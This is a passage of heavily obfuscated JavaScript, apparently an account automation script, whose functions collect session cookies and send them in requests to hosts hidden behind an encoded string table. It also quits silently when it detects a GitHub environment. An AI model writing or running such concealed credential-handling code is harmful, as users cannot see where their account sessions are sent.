_0x460d0a={'WKOZX':_0x4bb132[_0x343b('‫13b')],'crGIR':_0x4bb132[_0x343b('‫13c')],'gEjCY':_0x4bb132[_0x343b('‫13d')],'SEXis':_0x4bb132[_0x343b('‫13e')],'PFezu':_0x4bb132[_0x343b('‮13f')],'ltbeO':function(_0x68fdb5,_0x1d52e3){return _0x4bb132[_0x343b('‫140')](_0x68fdb5,_0x1d52e3);},'EXtJS':_0x4bb132[_0x343b('‫141')],'XdPtw':function(_0x389140,_0x56d73d){return _0x4bb132[_0x343b('‫142')](_0x389140,_0x56d73d);},'UQvsC':_0x4bb132[_0x343b('‫143')],'mrATe':_0x4bb132[_0x343b('‫144')]};try{if(_0x2804e0){if(_0x4bb132[_0x343b('‮145')](_0x4bb132[_0x343b('‮146')],_0x4bb132[_0x343b('‮147')])){$[_0x343b('‮15')](_0x2804e0);}else{for(let _0x4c4e68 of _0x31b2f8[_0x460d0a[_0x343b('‮148')]][_0x460d0a[_0x343b('‫149')]]){cookie=''+cookie+_0x4c4e68[_0x343b('‫39')](';')[0x0]+';';}}}else{if(_0x31b2f8[_0x4bb132[_0x343b('‫13b')]][_0x4bb132[_0x343b('‫13c')]]){if(_0x4bb132[_0x343b('‫142')](_0x4bb132[_0x343b('‮14a')],_0x4bb132[_0x343b('‫14b')])){console[_0x343b('‮15')](_0x3178ab[_0x343b('‫14c')]);}else{cookie=''+originCookie;if($[_0x343b('‮14d')]()){for(let _0x16427e of _0x31b2f8[_0x4bb132[_0x343b('‫13b')]][_0x4bb132[_0x343b('‫13c')]]){if(_0x4bb132[_0x343b('‮14e')](_0x4bb132[_0x343b('‫14f')],_0x4bb132[_0x343b('‫14f')])){$[_0x343b('‮15')](_0x460d0a[_0x343b('‮150')]);}else{cookie=''+cookie+_0x16427e[_0x343b('‫39')](';')[0x0]+';';}}}else{if(_0x4bb132[_0x343b('‫151')](_0x4bb132[_0x343b('‫152')],_0x4bb132[_0x343b('‫152')])){for(let _0x4c5f20 of _0x31b2f8[_0x4bb132[_0x343b('‫13b')]][_0x4bb132[_0x343b('‮13f')]][_0x343b('‫39')](',')){if(_0x4bb132[_0x343b('‫153')](_0x4bb132[_0x343b('‫154')],_0x4bb132[_0x343b('‫155')])){cookie=''+cookie+_0x4c5f20[_0x343b('‫39')](';')[0x0]+';';}else{_0x3178ab[_0x343b('‮156')](_0x51f27b);}}}else{console[_0x343b('‮15')](_0x460d0a[_0x343b('‫157')]);}}}}if(_0x31b2f8[_0x4bb132[_0x343b('‫13b')]][_0x4bb132[_0x343b('‮13f')]]){cookie=''+originCookie;if($[_0x343b('‮14d')]()){if(_0x4bb132[_0x343b('‮158')](_0x4bb132[_0x343b('‫159')],_0x4bb132[_0x343b('‮15a')])){for(let _0x31c3aa of _0x31b2f8[_0x4bb132[_0x343b('‫13b')]][_0x4bb132[_0x343b('‫13c')]]){if(_0x4bb132[_0x343b('‮15b')](_0x4bb132[_0x343b('‫15c')],_0x4bb132[_0x343b('‫15c')])){cookie=''+cookie+_0x31c3aa[_0x343b('‫39')](';')[0x0]+';';}else{cookie=''+cookie+_0x31c3aa[_0x343b('‫39')](';')[0x0]+';';}}}else{for(let _0xe32ef of _0x31b2f8[_0x460d0a[_0x343b('‮148')]][_0x460d0a[_0x343b('‮15d')]][_0x343b('‫39')](',')){cookie=''+cookie+_0xe32ef[_0x343b('‫39')](';')[0x0]+';';}}}else{for(let _0xeea4d7 of _0x31b2f8[_0x4bb132[_0x343b('‫13b')]][_0x4bb132[_0x343b('‮13f')]][_0x343b('‫39')](',')){if(_0x4bb132[_0x343b('‮15b')](_0x4bb132[_0x343b('‮15e')],_0x4bb132[_0x343b('‮15f')])){$[_0x343b('‮15')](_0x32b09a[_0x343b('‮160')]);}else{cookie=''+cookie+_0xeea4d7[_0x343b('‫39')](';')[0x0]+';';}}}}if(_0x32b09a){_0x32b09a=JSON[_0x343b('‮e2')](_0x32b09a);if(_0x32b09a[_0x343b('‫e3')]){if(_0x4bb132[_0x343b('‫161')](_0x4bb132[_0x343b('‮162')],_0x4bb132[_0x343b('‫163')])){$[_0x343b('‮15')](_0x343b('‮164')+_0x32b09a[_0x343b('‫e8')][_0x343b('‫165')]);$[_0x343b('‮166')]=_0x32b09a[_0x343b('‫e8')][_0x343b('‫165')];$[_0x343b('‮61')]=_0x32b09a[_0x343b('‫e8')][_0x343b('‮61')];cookie=cookie+_0x343b('‮167')+_0x32b09a[_0x343b('‫e8')][_0x343b('‮61')];}else{console[_0x343b('‮15')](error);}}else{$[_0x343b('‮15')](_0x32b09a[_0x343b('‮160')]);}}else{if(_0x4bb132[_0x343b('‮15b')](_0x4bb132[_0x343b('‮168')],_0x4bb132[_0x343b('‮169')])){cookie=''+cookie+sk[_0x343b('‫39')](';')[0x0]+';';}else{$[_0x343b('‮15')](_0x4bb132[_0x343b('‮16a')]);}}}}catch(_0x19115a){if(_0x4bb132[_0x343b('‫161')](_0x4bb132[_0x343b('‮16b')],_0x4bb132[_0x343b('‮16c')])){$[_0x343b('‮15')](_0x19115a);}else{_0x32b09a=JSON[_0x343b('‮e2')](_0x32b09a);if(_0x460d0a[_0x343b('‮16d')](_0x32b09a[_0x343b('‫16e')],_0x460d0a[_0x343b('‮16f')])){$[_0x343b('‫1c')]=![];return;}if(_0x460d0a[_0x343b('‫170')](_0x32b09a[_0x343b('‫16e')],'0')&&_0x32b09a[_0x343b('‫e8')][_0x343b('‫171')](_0x460d0a[_0x343b('‫172')])){$[_0x343b('‫1d')]=_0x32b09a[_0x343b('‫e8')][_0x343b('‮112')][_0x343b('‫173')][_0x343b('‫165')];}}}finally{if(_0x4bb132[_0x343b('‫174')](_0x4bb132[_0x343b('‫175')],_0x4bb132[_0x343b('‮176')])){_0x4bb132[_0x343b('‮177')](_0x51f27b);}else{console[_0x343b('‮15')](_0x460d0a[_0x343b('‫178')]);}}});}else{_0x4bb132[_0x343b('‮138')](_0x51f27b);}});}function getFirstLZCK(){var _0x2d1767={'npKcC':function(_0x1080ae,_0x2f9bdd){return _0x1080ae===_0x2f9bdd;},'PTHCn':_0x343b('‫3e'),'jNyFM':_0x343b('‫1'),'ZHVoA':_0x343b('‫2'),'xOFoQ':_0x343b('‫179'),'yapRq':_0x343b('‫17a'),'CJvca':function(_0x6b67dc,_0x3c2ed3){return _0x6b67dc===_0x3c2ed3;},'CEOLg':_0x343b('‫17b'),'Sxcom':_0x343b('‮17c'),'ORwGR':_0x343b('‫c0'),'kxnTA':function(_0xf931ee,_0x1e40d6){return _0xf931ee!==_0x1e40d6;},'TmAfK':_0x343b('‫17d'),'ijhJx':_0x343b('‫17e'),'bUefn':_0x343b('‮17f'),'HJOxV':function(_0x4f3690,_0x1776f6){return _0x4f3690===_0x1776f6;},'tjmWm':_0x343b('‮180'),'EpMDs':function(_0x35da67,_0x3f64a6){return _0x35da67!==_0x3f64a6;},'iKIBk':_0x343b('‮181'),'GyeHJ':_0x343b('‫182'),'flvIs':function(_0x2e5219){return _0x2e5219();},'fldOs':function(_0x161cfa,_0xc09e8c){return _0x161cfa|_0xc09e8c;},'lyOYF':function(_0x355f45,_0x2af41b){return _0x355f45*_0x2af41b;},'TqpEx':function(_0x57383e,_0x709462){return _0x57383e==_0x709462;},'CnnzI':function(_0x2fa0df,_0x28250a){return _0x2fa0df&_0x28250a;},'lJLaW':function(_0x2d18fc,_0x217192){return _0x2d18fc(_0x217192);},'pqVQZ':_0x343b('‫183'),'YROuX':_0x343b('‫184'),'wNaMW':_0x343b('‮185'),'eXPvG':_0x343b('‮186'),'iNLUD':_0x343b('‮187'),'RfoZo':_0x343b('‫188'),'zkbHE':_0x343b('‫189'),'MOxRA':_0x343b('‮18a'),'Lxcjs':_0x343b('‮18b'),'UwyvH':_0x343b('‫18c'),'DfOgP':_0x343b('‫fc'),'afcjh':_0x343b('‫103')};return new Promise(_0x28be4e=>{var _0x425a89={'czqSU':function(_0x4cdb42,_0x5d0df9){return _0x2d1767[_0x343b('‫18d')](_0x4cdb42,_0x5d0df9);},'MmFMp':function(_0x59710c,_0x32f7b6){return _0x2d1767[_0x343b('‫18e')](_0x59710c,_0x32f7b6);},'lGIqE':function(_0x2c62ae,_0x640a32){return _0x2d1767[_0x343b('‮18f')](_0x2c62ae,_0x640a32);},'prnno':function(_0x5af739,_0x1b18ab){return _0x2d1767[_0x343b('‫190')](_0x5af739,_0x1b18ab);}};$[_0x343b('‮191')]({'url':$[_0x343b('‮31')],'headers':{'User-Agent':$[_0x343b('‮14d')]()?process[_0x343b('‫192')][_0x343b('‫193')]?process[_0x343b('‫192')][_0x343b('‫193')]:_0x2d1767[_0x343b('‫194')](require,_0x2d1767[_0x343b('‮195')])[_0x343b('‮196')]:$[_0x343b('‫197')](_0x2d1767[_0x343b('‫198')])?$[_0x343b('‫197')](_0x2d1767[_0x343b('‫198')]):_0x2d1767[_0x343b('‫199')],'Accept-Language':_0x2d1767[_0x343b('‮19a')],'Accept-Encoding':_0x2d1767[_0x343b('‫19b')],'Accept':_0x2d1767[_0x343b('‫19c')],'Upgrade-Insecure-Requests':'1','X-Requested-With':_0x2d1767[_0x343b('‫19d')],'Sec-Fetch-Site':_0x2d1767[_0x343b('‮19e')],'Sec-Fetch-Mode':_0x2d1767[_0x343b('‫19f')],'Sec-Fetch-User':'?1','Sec-Fetch-Dest':_0x2d1767[_0x343b('‫1a0')],'Host':_0x2d1767[_0x343b('‮1a1')],'Connection':_0x2d1767[_0x343b('‮1a2')]}},(_0x11214b,_0x266e5a,_0x5d39e5)=>{var _0x5d76b9={'LNAzN':function(_0x36c7cd,_0x4fcbac){return _0x2d1767[_0x343b('‫1a3')](_0x36c7cd,_0x4fcbac);},'jfPRa':_0x2d1767[_0x343b('‫1a4')],'OjzZF':_0x2d1767[_0x343b('‫1a5')],'jMImH':_0x2d1767[_0x343b('‫1a6')],'JNjUk':function(_0x33b4,_0x3881dd){return _0x2d1767[_0x343b('‫1a3')](_0x33b4,_0x3881dd);}};try{if(_0x11214b){console[_0x343b('‮15')](_0x11214b);}else{if(_0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‫1a6')]]){if(_0x2d1767[_0x343b('‫1a3')](_0x2d1767[_0x343b('‮1a7')],_0x2d1767[_0x343b('‫1a8')])){var _0x141a72={'DMOYB':function(_0x1ddaff,_0x1d8e71){return _0x425a89[_0x343b('‫1a9')](_0x1ddaff,_0x1d8e71);},'MvoHy':function(_0x57a550,_0x4b0ddd){return _0x425a89[_0x343b('‫1aa')](_0x57a550,_0x4b0ddd);},'Xpeol':function(_0x125ee2,_0x20f023){return _0x425a89[_0x343b('‫1ab')](_0x125ee2,_0x20f023);},'ZyvOP':function(_0x45e582,_0x4aa6e9){return _0x425a89[_0x343b('‫1ac')](_0x45e582,_0x4aa6e9);}};return format[_0x343b('‫1ad')](/[xy]/g,function(_0x471019){var _0x55da58=_0x141a72[_0x343b('‫1ae')](_0x141a72[_0x343b('‫1af')](Math[_0x343b('‫6b')](),0x10),0x0),_0x51f21f=_0x141a72[_0x343b('‮1b0')](_0x471019,'x')?_0x55da58:_0x141a72[_0x343b('‫1ae')](_0x141a72[_0x343b('‫1b1')](_0x55da58,0x3),0x8);if(UpperCase){uuid=_0x51f21f[_0x343b('‮6f')](0x24)[_0x343b('‮70')]();}else{uuid=_0x51f21f[_0x343b('‮6f')](0x24);}return uuid;});}else{cookie=''+originCookie;if($[_0x343b('‮14d')]()){for(let _0x3bf6e6 of _0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‫1a6')]]){if(_0x2d1767[_0x343b('‮1b2')](_0x2d1767[_0x343b('‮1b3')],_0x2d1767[_0x343b('‮1b4')])){$[_0x343b('‮60')]=_0x5d39e5[_0x343b('‮60')];}else{cookie=''+cookie+_0x3bf6e6[_0x343b('‫39')](';')[0x0]+';';}}}else{for(let _0x34cfad of _0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‮1b5')]][_0x343b('‫39')](',')){if(_0x2d1767[_0x343b('‮1b6')](_0x2d1767[_0x343b('‮1b7')],_0x2d1767[_0x343b('‮1b7')])){console[_0x343b('‮15')](_0x11214b);}else{cookie=''+cookie+_0x34cfad[_0x343b('‫39')](';')[0x0]+';';}}}}}if(_0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‮1b5')]]){cookie=''+originCookie;if($[_0x343b('‮14d')]()){for(let _0xdd3012 of _0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‫1a6')]]){if(_0x2d1767[_0x343b('‮1b6')](_0x2d1767[_0x343b('‮1b8')],_0x2d1767[_0x343b('‮1b8')])){if(_0x5d39e5){_0x5d39e5=JSON[_0x343b('‮e2')](_0x5d39e5);if(_0x5d76b9[_0x343b('‫1b9')](_0x5d39e5[_0x343b('‮1ba')],'0')){$[_0x343b('‮60')]=_0x5d39e5[_0x343b('‮60')];}}else{$[_0x343b('‮15')](_0x5d76b9[_0x343b('‮1bb')]);}}else{cookie=''+cookie+_0xdd3012[_0x343b('‫39')](';')[0x0]+';';}}}else{for(let _0x2448d3 of _0x266e5a[_0x2d1767[_0x343b('‫1a5')]][_0x2d1767[_0x343b('‮1b5')]][_0x343b('‫39')](',')){if(_0x2d1767[_0x343b('‮1b6')](_0x2d1767[_0x343b('‮1bc')],_0x2d1767[_0x343b('‮1bc')])){for(let _0xcb4e92 of _0x266e5a[_0x5d76b9[_0x343b('‮1bd')]][_0x5d76b9[_0x343b('‫1be')]]){cookie=''+cookie+_0xcb4e92[_0x343b('‫39')](';')[0x0]+';';}}else{cookie=''+cookie+_0x2448d3[_0x343b('‫39')](';')[0x0]+';';}}}}}}catch(_0x263cfa){if(_0x2d1767[_0x343b('‮1bf')](_0x2d1767[_0x343b('‮1c0')],_0x2d1767[_0x343b('‮1c0')])){console[_0x343b('‮15')](_0x263cfa);}else{_0x5d39e5=JSON[_0x343b('‮e2')](_0x5d39e5);if(_0x5d76b9[_0x343b('‫1c1')](_0x5d39e5[_0x343b('‮1ba')],'0')){$[_0x343b('‮60')]=_0x5d39e5[_0x343b('‮60')];}}}finally{if(_0x2d1767[_0x343b('‫1c2')](_0x2d1767[_0x343b('‮1c3')],_0x2d1767[_0x343b('‮1c4')])){_0x2d1767[_0x343b('‫1c5')](_0x28be4e);}else{uuid=v[_0x343b('‮6f')](0x24);}}});});}function getToken(){var _0x485562={'WHONM':function(_0x89f54d,_0x4ac157){return _0x89f54d===_0x4ac157;},'qcqLl':_0x343b('‮1c6'),'fMNTD':function(_0x25ba57,_0x71625d){return _0x25ba57!==_0x71625d;},'DrIfo':_0x343b('‮1c7'),'vQImT':function(_0xc7f90e,_0xeb4f4b){return _0xc7f90e===_0xeb4f4b;},'tBANJ':_0x343b('‫3e'),'GPkrV':function(_0x5a1f77){return _0x5a1f77();},'oPEFg':_0x343b('‫1c8'),'orMMm':_0x343b('‮129'),'vERqF':_0x343b('‮1c9'),'rNHPo':_0x343b('‫103'),'PcTsu':_0x343b('‮1ca'),'mReeQ':_0x343b('‮1cb'),'JfOwC':_0x343b('‮100')};let _0x268cc2={'url':_0x343b('‫1cc'),'headers':{'Host':_0x485562[_0x343b('‫1cd')],'Content-Type':_0x485562[_0x343b('‮1ce')],'Accept':_0x485562[_0x343b('‫1cf')],'Connection':_0x485562[_0x343b('‮1d0')],'Cookie':cookie,'User-Agent':_0x485562[_0x343b('‫1d1')],'Accept-Language':_0x485562[_0x343b('‮1d2')],'Accept-Encoding':_0x485562[_0x343b('‫1d3')]},'body':_0x343b('‫1d4')};return new Promise(_0x50ff92=>{var _0x29f632={'JVeqD':function(_0x2fea28,_0x46806c){return _0x485562[_0x343b('‫1d5')](_0x2fea28,_0x46806c);},'VcbRa':_0x485562[_0x343b('‫1d6')],'yWXGW':function(_0x29c965,_0x27bbb8){return _0x485562[_0x343b('‮1d7')](_0x29c965,_0x27bbb8);},'MLKaS':_0x485562[_0x343b('‫1d8')],'IsjQa':function(_0x3a9d59,_0x56f7fe){return _0x485562[_0x343b('‫1d9')](_0x3a9d59,_0x56f7fe);},'aipqn':_0x485562[_0x343b('‫1da')],'TqzGf':function(_0x187148){return _0x485562[_0x343b('‮1db')](_0x187148);}};$[_0x343b('‫da')](_0x268cc2,(_0x49f374,_0x31fb29,_0x44f57a)=>{try{if(_0x29f632[_0x343b('‮1dc')](_0x29f632[_0x343b('‮1dd')],_0x29f632[_0x343b('‮1dd')])){if(_0x49f374){$[_0x343b('‮15')](_0x49f374);}else{if(_0x44f57a){if(_0x29f632[_0x343b('‮1de')](_0x29f632[_0x343b('‮1df')],_0x29f632[_0x343b('‮1df')])){cookie=''+cookie+ck[_0x343b('‫39')](';')[0x0]+';';}else{_0x44f57a=JSON[_0x343b('‮e2')](_0x44f57a);if(_0x29f632[_0x343b('‫1e0')](_0x44f57a[_0x343b('‮1ba')],'0')){$[_0x343b('‮60')]=_0x44f57a[_0x343b('‮60')];}}}else{$[_0x343b('‮15')](_0x29f632[_0x343b('‮1e1')]);}}}else{$[_0x343b('‫1d')]=_0x44f57a[_0x343b('‫e8')][_0x343b('‮112')][_0x343b('‫173')][_0x343b('‫165')];}}catch(_0x5f1cd6){$[_0x343b('‮15')](_0x5f1cd6);}finally{_0x29f632[_0x343b('‮1e2')](_0x50ff92);}});});}function random(_0x67fa5f,_0x4e8c52){var _0x5e2064={'JGOQz':function(_0x2280fa,_0x41a191){return _0x2280fa+_0x41a191;},'CZJNn':function(_0x9fc7ec,_0x8762aa){return _0x9fc7ec*_0x8762aa;},'AZcxd':function(_0x46be66,_0x2b5938){return _0x46be66-_0x2b5938;}};return _0x5e2064[_0x343b('‫1e3')](Math[_0x343b('‮1e4')](_0x5e2064[_0x343b('‮1e5')](Math[_0x343b('‫6b')](),_0x5e2064[_0x343b('‫1e6')](_0x4e8c52,_0x67fa5f))),_0x67fa5f);}function getUUID(_0x41d48b=_0x343b('‮b'),_0x1a5b3f=0x0){var _0xdb5b2d={'DStpb':function(_0x234d84,_0x5e1400){return _0x234d84|_0x5e1400;},'NXazy':function(_0x41d7a1,_0x37e283){return _0x41d7a1*_0x37e283;},'jGYGL':function(_0x533a4c,_0x574a95){return _0x533a4c==_0x574a95;},'gMrSo':function(_0x31e6b1,_0x247641){return _0x31e6b1|_0x247641;},'GzMcc':function(_0x1e3805,_0x437c3d){return _0x1e3805&_0x437c3d;},'PInKa':function(_0x4bfd6b,_0x3fc3a3){return _0x4bfd6b===_0x3fc3a3;},'SqYjn':_0x343b('‮1e7')};return _0x41d48b[_0x343b('‫1ad')](/[xy]/g,function(_0x3492d4){var _0x20f62a=_0xdb5b2d[_0x343b('‫1e8')](_0xdb5b2d[_0x343b('‫1e9')](Math[_0x343b('‫6b')](),0x10),0x0),_0x24854d=_0xdb5b2d[_0x343b('‮1ea')](_0x3492d4,'x')?_0x20f62a:_0xdb5b2d[_0x343b('‫1eb')](_0xdb5b2d[_0x343b('‫1ec')](_0x20f62a,0x3),0x8);if(_0x1a5b3f){if(_0xdb5b2d[_0x343b('‫1ed')](_0xdb5b2d[_0x343b('‮1ee')],_0xdb5b2d[_0x343b('‮1ee')])){uuid=_0x24854d[_0x343b('‮6f')](0x24)[_0x343b('‮70')]();}else{console[_0x343b('‮15')](data[_0x343b('‫e8')][_0x343b('‮d')]);}}else{uuid=_0x24854d[_0x343b('‮6f')](0x24);}return uuid;});}function checkCookie(){var _0x3603b8={'HbrEd':_0x343b('‮5f'),'aOFvV':function(_0x2584f3,_0x3508dd){return _0x2584f3!==_0x3508dd;},'qaWCX':_0x343b('‫1ef'),'ZEFKI':function(_0x194e6e,_0x1efea1){return _0x194e6e===_0x1efea1;},'vhGDm':_0x343b('‫111'),'NjDlY':function(_0x5c6545,_0x24302e){return _0x5c6545===_0x24302e;},'ClzPL':_0x343b('‮1f0'),'RGawm':function(_0x10cced,_0x2949de){return _0x10cced===_0x2949de;},'Assmd':_0x343b('‮112'),'ZUsPA':_0x343b('‫3e'),'OlsZs':function(_0x31d29f){return _0x31d29f();},'xUXTW':_0x343b('‫fc'),'UjXZt':_0x343b('‮fd'),'eUGmE':_0x343b('‫fe'),'UkItQ':_0x343b('‮ff'),'Bfbaz':_0x343b('‮100'),'oYZWD':_0x343b('‫101'),'sEOZH':_0x343b('‮102'),'Ikxrz':_0x343b('‫103'),'AYCaj':_0x343b('‮1f1'),'cMIsj':_0x343b('‮1f2'),'qLCVy':_0x343b('‮1c9'),'NEbbv':_0x343b('‮1f3'),'qAzlq':_0x343b('‫1f4')};const _0x3559fe={'url':_0x3603b8[_0x343b('‫1f5')],'headers':{'Host':_0x3603b8[_0x343b('‮1f6')],'Accept':_0x3603b8[_0x343b('‫1f7')],'Connection':_0x3603b8[_0x343b('‫1f8')],'Cookie':cookie,'User-Agent':_0x3603b8[_0x343b('‫1f9')],'Accept-Language':_0x3603b8[_0x343b('‫1fa')],'Referer':_0x3603b8[_0x343b('‫1fb')],'Accept-Encoding':_0x3603b8[_0x343b('‮1fc')]}};return new Promise(_0x409d3e=>{var _0x124f50={'ctMaO':_0x3603b8[_0x343b('‮1fd')],'uxFie':_0x3603b8[_0x343b('‫1fe')],'hbPmM':_0x3603b8[_0x343b('‮1ff')],'dYcBi':_0x3603b8[_0x343b('‫1fa')],'qerJM':_0x3603b8[_0x343b('‮1fc')],'EiLOr':_0x3603b8[_0x343b('‫200')],'derfU':_0x3603b8[_0x343b('‮201')],'XJcxv':_0x3603b8[_0x343b('‫1f8')]};$[_0x343b('‮191')](_0x3559fe,(_0x11e7da,_0xabee7,_0x37e716)=>{var _0x30bd54={'fagxL':_0x3603b8[_0x343b('‫202')]};try{if(_0x11e7da){if(_0x3603b8[_0x343b('‮203')](_0x3603b8[_0x343b('‮204')],_0x3603b8[_0x343b('‮204')])){return{'url':isCommon?_0x343b('‫104')+function_id:_0x343b('‫105')+function_id,'headers':{'Host':_0x124f50[_0x343b('‫205')],'Accept':_0x124f50[_0x343b('‮206')],'X-Requested-With':_0x124f50[_0x343b('‫207')],'Accept-Language':_0x124f50[_0x343b('‮208')],'Accept-Encoding':_0x124f50[_0x343b('‮209')],'Content-Type':_0x124f50[_0x343b('‫20a')],'Origin':_0x124f50[_0x343b('‮20b')],'User-Agent':_0x343b('‮10d')+$[_0x343b('‮2c')]+_0x343b('‮10e')+$[_0x343b('‫29')]+_0x343b('‮10f'),'Connection':_0x124f50[_0x343b('‮20c')],'Referer':$[_0x343b('‮31')],'Cookie':cookie},'body':body};}else{$[_0x343b('‮ac')](_0x11e7da);}}else{if(_0x37e716){_0x37e716=JSON[_0x343b('‮e2')](_0x37e716);if(_0x3603b8[_0x343b('‮20d')](_0x37e716[_0x343b('‫16e')],_0x3603b8[_0x343b('‫20e')])){if(_0x3603b8[_0x343b('‮20f')](_0x3603b8[_0x343b('‮210')],_0x3603b8[_0x343b('‮210')])){$[_0x343b('‫1c')]=![];return;}else{$[_0x343b('‮15')](_0x30bd54[_0x343b('‫211')]);}}if(_0x3603b8[_0x343b('‮212')](_0x37e716[_0x343b('‫16e')],'0')&&_0x37e716[_0x343b('‫e8')][_0x343b('‫171')](_0x3603b8[_0x343b('‫213')])){$[_0x343b('‫1d')]=_0x37e716[_0x343b('‫e8')][_0x343b('‮112')][_0x343b('‫173')][_0x343b('‫165')];}}else{$[_0x343b('‮15')](_0x3603b8[_0x343b('‮214')]);}}}catch(_0x20e7ab){$[_0x343b('‮ac')](_0x20e7ab);}finally{_0x3603b8[_0x343b('‫215')](_0x409d3e);}});});};_0xoda='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return 